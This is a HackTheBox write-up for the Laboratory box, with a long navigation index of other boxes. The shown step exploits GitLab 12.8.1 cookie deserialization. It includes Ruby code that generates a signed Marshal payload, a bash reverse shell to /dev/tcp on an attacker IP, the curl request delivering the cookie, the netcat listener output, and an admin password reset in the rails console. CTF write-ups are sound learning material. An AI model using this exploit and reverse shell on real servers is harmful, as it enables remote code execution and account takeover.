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HackTheBox Writeups
  • kashz HTB Writeups
  • HTB BOXES
    • ACCESS
      • 5 admin
      • 4 user
      • 3 telnet
      • 2 http
      • 1 recon
    • ADMIRER
      • 5 root
      • 4 adminer-php
      • 3 ftp
      • 2 http
      • 1 recon
    • ARCHETYPE
      • 3 :1433 mssql
      • 2 :139 :445 smb
      • 1 recon
    • ARMAGEDDON
      • 8 privesc dirty_sockv2
      • 7 privesc
      • 6 box enum bruce
      • 5 :80 drupalgeddon2
      • 4 :80 droopescan
      • 3 :80
      • 2 :80 robots.txt
      • 1 recon
    • ATOM
      • 4 privesc
      • 3 box enum jason
      • 2 :139 :445 smb
      • 1 recon
    • BANK
      • 5 privesc
      • 4 box enum
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • BANKROBBER
      • 6 privesc brute force PIN > BOF
      • 5 privesc bankv2.exe
      • 4 box enum cortin
      • 3 admin backdoorchecker.php
      • 2 :80 :443 XSS > admin
      • 1 recon
    • BASHED
      • 2 :80
      • 1 recon
    • BASTARD
      • 6 privesc_2 ms10-059
      • 5 privesc_1 ms15-051
      • 4 box enum KE
      • 3 :80 drupalgeddon2
      • 2 :80 drupal7
      • 1 recon
    • BASTION
      • 3 box enum > privesc
      • 2 :139 :445 smb
      • 1 recon
    • BEEP
      • 7 :80 elastix 2.2.0 RCE + privesc
      • 6 :10000 webmin
      • 5 :25 smtp
      • 4 :80 vtigercrm
      • 3 :80 admin
      • 2 :80
      • 1 recon
    • BLOCKY
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • BLUE
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • BLUNDER
      • 5 www-data > hugo > root
      • 4 box enum
      • 3 bludit 3.9.2 file_upload RCE
      • 2 :80
      • 1 recon
    • BOUNTY
      • 4 JuicyPotato
      • 3 privesc check
      • 2 :80
      • 1 recon
    • BOUNTYHUNTER
      • 4 privesc
      • 3 :22 ssh development
      • 2 :80 xxe
      • 1 recon
    • BRAINFUCK
      • 5 privesc
      • 5 :443 sup3rs3cr3t.brainfuck.htb
      • 4 :143 imap
      • 3 :443 wpscan
      • 2 :443
      • 1 recon
    • BRAINPAN1
      • 4 privesc
      • 3 BOF
      • 2 :10000
      • 1 recon
    • BUCKET
      • 6 privesc
      • 5 dynamodb roy
      • 4 box enum www-data
      • 3 :80 s3.bucket.htb
      • 2 :80 bucket.htb
      • 1 recon
    • BUFF
      • 4 privesc
      • 3 :80
      • 2 :8080
      • 1 recon
    • CAP
      • 4 privesc
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • CHATTERBOX
      • 5 privesc autologon creds
      • 4 privesc w/ grant perm
      • 3 box enum
      • 2 :9256 achat chat system
      • 1 recon
    • CONCEAL
      • 9 privesc
      • 8 :80
      • 7 :21 ftp
      • 6 post vpn recon
      • 5 ipsec conn config
      • 4 ipsec summary
      • 3 :500/udp ipsec
      • 2 :161/udp snmp
      • 1 recon
    • CRONOS
      • 6 post enum
      • 5 privesc cronjob
      • 4 box enum
      • 3 :53 dns
      • 2 :80
      • 1 recon
    • DELIVERY
      • 4 :3306 mysql > privesc
      • 3 :8065 mattermost
      • 2 :80
      • 1 recon
    • DEVEL
      • 4 privesc_2 ms11-046
      • 3 privesc_1 JuicyPotato
      • 2 :21 ftp
      • 1 recon
    • DOCTOR
      • 7 post enum
      • 6 :8089 privesc splunk > root
      • 5 web > shaun
      • 4 box enum web
      • 3 :80 SSTI
      • 2 :80 splunkd
      • 1 recon
    • DYNSTR
      • 6 privesc
      • 5 box enum > bindmgr
      • 4 nsupdate exploit
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • EXPLORE
      • 3 :2222 ssh kristi > root
      • 2 :59777 es file explorer
      • 1 recon
    • FRIENDZONE
      • 7 privesc
      • 6 administrator1.friendzone.red
      • 5 dns
      • 4 smb
      • 3 :443
      • 2 :80
      • 1 recon
    • FUSE
      • 7 privesc SeLoadDriverPrivilege
      • 6 rpc
      • 5 spray passwd
      • 4 :389 ldap
      • 3 :80 PaperCut Logger
      • 2 :139 :445 smb
      • 1 recon
    • GRANDPA
      • 4 privesc
      • 3 webdav exploit
      • 2 :80
      • 1 recon
    • GRANNY
      • 4 privesc
      • 3 :80 webdav exploit
      • 2 :80
      • 1 recon
    • HAIRCUT
      • 5 post enum
      • 4 privesc www-data > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • IRKED
      • 4 box enum
      • 3 :6697 irc
      • 2 :80
      • 1 recon
    • JARVIS
      • 9 post enum
      • 8 pepper > root
      • 7 www-data > pepper
      • 6 box enum www-data
      • 5 phpMyAdmin 4.8 LFI
      • 4 :80 sqli
      • 3 :64999
      • 2 :80
      • 1 recon
    • JEEVES
      • 2 :50000
      • 1 recon
    • JERRY
      • 4 manual
      • 3 tomcatWarDeployer
      • 2 :8080 tomcat
      • 1 recon
    • KNIFE
      • 3 privesc
      • 2 :80 php 8.1.0 dev
      • 1 recon
    • LABORATORY
      • 6 privesc
      • 5 gitlab admin dexter
      • 4 stable shell
      • 3 :443 gitlab shell
      • 2 :443 gitlab
      • 1 recon
    • LACASADEPAPEL
      • 4 box enum > privesc
      • 3 :80 > :443
      • 2 :21 ftp
      • 1 recon
    • LAME
      • 4 :139 :445 smb exploit
      • 3 :3632 distccd
      • 2 :139 :445 smb
      • 1 recon
    • LEGACY
      • 4 MS-17-010
      • 3 MS08-067
      • 2 :139 :445 smb
      • 1 recon
    • LOVE
      • 3 privesc
      • 2 :80
      • 1 recon
    • MAGIC
      • 5 post enum
      • 4 privesc theseus > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • MANGO
      • 6 post enum
      • 5 privesc admin > root
      • 4 mango > admin
      • 3 box enum mango
      • 2 :80 :443
      • 1 recon
    • MIRAI
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • MONITORS
      • 12 post enum
      • 11 docker breakout > root
      • 10 Apache Tomcat/9.0.31 deserialization RCE > docker root
      • 9 box enum marcus
      • 8 manual enum www-data
      • 7 :8443
      • 6 box enum www-data
      • 5 cacti-admin.monitors.htb
      • 4 wp with spritz exploit
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • NETWORKED
      • 7 post enum
      • 6 box enum guly > privesc > root
      • 5 check_attack.php
      • 4 box enum
      • 3 :80 upload.php & lib.php
      • 2 :80
      • 1 recon
    • NIBBLES
      • 4 privesc
      • 3 fileUpload exploit
      • 2 :80
      • 1 recon
    • NINEVEH
      • 6 post enum
      • 5 privesc amrois > root
      • 4 box enum www-data > amrois
      • 3 :443
      • 2 :80
      • 1 recon
    • NODE
      • 7 post enum
      • 6 privesc tom > root
      • 5 mark > tom
      • 4 box enum mark
      • 3 :3000 login
      • 2 :3000
      • 1 recon
    • OMNI
      • 5 cracking user.txt | root.txt
      • 4 dump SAM SYSTEM
      • 3 box enum ?
      • 2 :8080
      • 1 recon
    • OOPSIE
      • 4 post enum
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • OPENADMIN
      • 6 joanna > root
      • 5 jimmy > joanna
      • 4 manual enum > jimmy
      • 3 openNetAdmin 18.1.1
      • 2 :80
      • 1 recon
    • OPHIUCHI
      • 4 privesc
      • 3 yaml deserialization exploit
      • 2 :8080
      • 1 recon
    • OPTIMUM
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • PASSAGE
      • 7 post enum
      • 6 privesc dbus com.ubuntu.USBCreator.conf
      • 5 box enum nadav
      • 4 box enum paul
      • 3 box enum www-data
      • 2 :80 cutenews
      • 1 recon
    • POISON
      • 6 foothold_3 log poisoning
      • 5 foothold_2 phpinfo.php + LFI
      • 4 privesc vncviewer > root
      • 3 box enum charix
      • 2 :80
      • 1 recon
    • POPCORN
      • 7 post enum
      • 6 privesc_2 rds
      • 5 privesc_1 full-nelson
      • 4 manual privesc > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • POSTMAN
      • 6 webmin (matt > root)
      • 5 Matt > root
      • 4 redis > Matt
      • 3 :6379 redis
      • 2 :80
      • 1 recon
    • QUERIER
      • 6 privesc GPP CachedPassword
      • 5 privesc
      • 4 mssql using msf
      • 3 mssql
      • 2 smb
      • 1 recon
    • READY
      • 4 PEAS > docker > escape > root
      • 3 :5080 gitlab
      • 2 :5080 robots.txt
      • 1 recon
    • REMOTE
      • 8 privesc teamviewer
      • 7 privesc UsoSvc
      • 6 privesc
      • 5 RCE
      • 4 :111 rpc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • SCRIPTKIDDIE
      • 2 :5000
      • 1 recon
    • SECNOTES
      • 9 privesc_3 bash.exe
      • 8 privesc_2 UsoSvc
      • 7 privesc_1 PrintSpoofer
      • 6 box enum iis apppool
      • 5 :445 smb
      • 4 :80 CSRF
      • 3 :8808 IIS
      • 2 :80 IIS
      • 1 recon
    • SENSE
      • 2 :80 pfsense
      • 1 recon
    • SERVMON
      • 5 privesc
      • 4 box enum nadine
      • 3 :80 NVMS
      • 2 :21 ftp
      • 1 recon
    • SHIELD
      • 3 privesc
      • 2 :80
      • 1 recon
    • SHOCKER
      • 2 :80 shellshock
      • 1 recon
    • SILO
      • 6 odat shell
      • 5 sqlplus
      • 4 :1521 orcale tns listener
      • 3 :8080 XDB
      • 2 :80
      • 1 recon
    • SNEAKYMAILER
      • 11 post enum
      • 10 privesc low > root
      • 9 localhost:5000 > low
      • 8 box enum developer
      • 7 box enum www-data
      • 6 :21 ftp
      • 5 :143 imap
      • 4 :25 smtp
      • 3 :8080
      • 2 :80
      • 1 recon
    • SNIPER
      • 8 box enum chris + privesc
      • 7 iusr > chris
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt authority\iusr
      • 4 :80 /blog > LFI > smbRFI
      • 3 :80 /user
      • 2 :80
      • 1 recon
    • SOLIDSTATE
      • 7 privesc
      • 6 :22 ssh mindy
      • 5 :110 pop3
      • 4 apache james 2.3.2 RCE
      • 3 :4555 JAMES RAT 2.3.2
      • 2 :80
      • 1 recon
    • SPECTRA
      • 4 nginx shell > katie
      • 3 wordpress
      • 2 :80
      • 1 recon
    • SPIDER
      • 8 post enum
      • 7 localhost:8080 XXE
      • 6 box enum chiv manual
      • 5 box enum chiv
      • 4 :80 chiv login + SSTI
      • 3 :80 sqlmap via flask cookie
      • 2 :80 SSTI via /register to /user
      • 1 recon
    • SWAGSHOP
      • 3 privesc
      • 2 :80
      • 1 recon
    • TABBY
      • 5 tomcat > ash > root
      • 4 box enum
      • 3 :8080 tomcat9
      • 2 :80
      • 1 recon
    • TARTARSAUCE
      • 10 post enum
      • 9 privesc omuna > root
      • 8 box enum onuma
      • 7 www-data > onuma
      • 6 box enum www-data
      • 5 :80 monstra
      • 4 :80 wpscan
      • 3 :80 monstra
      • 2 :80
      • 1 recon
    • TENET
      • 4 privesc
      • 3 php file injection (deserialization exploit)
      • 2 :80 wordpress
      • 1 recon
    • THENOTEBOOK
      • 5 privesc docker runC exploit
      • 4 shell
      • 3 :80 JWT exploitation
      • 2 :80
      • 1 recon
    • TRAVEREXEC
      • 5 david > root
      • 4 www-data > david
      • 3 box enum
      • 2 :80 nostromo 1.9.6
      • 1 recon
    • VACCINE
      • 4 privesc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • VALENTINE
      • 6 privesc dirtyc0w
      • 5 privesc tmux
      • 4 box enum
      • 3 heartbleed
      • 2 :80
      • 1 recon
    • WORKER
      • 11 evil-winrim robisl :5985
      • 10 box manual enum
      • 9 box enum iis apppool\defaultapppool
      • 8 privesc PrintSoofer FAIL
      • 7 :80 spectral.worker.htb shell
      • 6 :80 devops.worker.htb
      • 5 explore domains
      • 4 :80 dimension.worker.htb
      • 3 :3690 subversion
      • 2 :80 IIS 10.0
      • 1 recon
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On this page
  1. HTB BOXES
  2. LABORATORY

4 stable shell

As shell is not stable, doing the process manually

Following https://hackerone.com/reports/827052

It's possible to turn this into an RCE as the cookies_serializer is set to :hybrid by default.
The can be done by first grabbing the secret_key_base from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml using the arbitrary file read and then use the experimentation_subject_id cookie with a Marshalled payload. A payload can be generated by changing your own gitlab instances secret_key_base to match, then running the following in a rails console

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Then send this cookie to the server:
curl -vvv 'http://gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHZha3p6IHdhcyBoZXJlID4gL3RtcC92YWt6emAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpUOglAdmFySSIMQHJlc3VsdAY7ClQ=--ef9c244a1f6b4724c1d3cbf045f8ee28a42d4b06"

And it will be executed:

ACTION TIME:

  1. GET secrets.yml (done.)

  2. set up docker instance and gitlab-ce-12.8.1 running:

    1. install docker (https://www.kali.org/docs/containers/installing-docker-on-kali/)

    2. Search on Dockerhub for Gitlab

    3. docker pull gitlab/gitlab-ce:12.8.1-ce.0

    4. docker run <IMAGE_ID>

    5. docker exec -it <IMAGE_ID> bash

  3. update secrets.yml with the new secret_key_base

secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3

  1. gitlab-ctl restart

  2. gitlab-rails console

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.2/6969 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

  1. puts cookies[:cookie]

irb(main):008:0> puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIvNjk2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--36780d64605054b9179c62689eecfcaae9312854

  1. curl request

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIvNjk2OSAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--36780d64605054b9179c62689eecfcaae9312854"
$ rlwrap nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.216] 60472
bash: cannot set terminal process group (395): Inappropriate ioctl for device
bash: no job control in this shell
whoami
whoami
git

ls -la /
total 88
drwxr-xr-x   1 root root 4096 Jul  2  2020 .
drwxr-xr-x   1 root root 4096 Jul  2  2020 ..
-rwxr-xr-x   1 root root    0 Jul  2  2020 .dockerenv

Running deepce (docker enum)

Nothing good.

[+] Inside Container ........ Yes

[+] Container ID ............ git.laboratory.htb
[+] Container Full ID ....... dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
[+] Container Name .......... Could not get container name through reverse DNS
[+] Container IP ............ 172.17.0.2
[+] Host IP ................. 172.17.0.1

We need to elevate somehow to be be able to escape docker

Using https://gist.github.com/dnozay/188f256839d4739ca3e4

gitlab-rails console
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
user = User.find_by(admin: true)
=> #<User id:1 @dexter>
user.password = 'kashz12345'
=> "kashz12345"
user.password_confirmation = 'kashz12345'
=> "kashz12345"
user.save
Enqueued ActionMailer::DeliveryJob (Job ID: 997c4805-654a-4ae9-a301-5e62a73d9094) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007f8b4af4e2a0 @uri=#<URI::GID gid://gitlab/User/1>>
=> true

Now we can sign in to Gitlab using dexter:kashz12345

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Last updated 3 years ago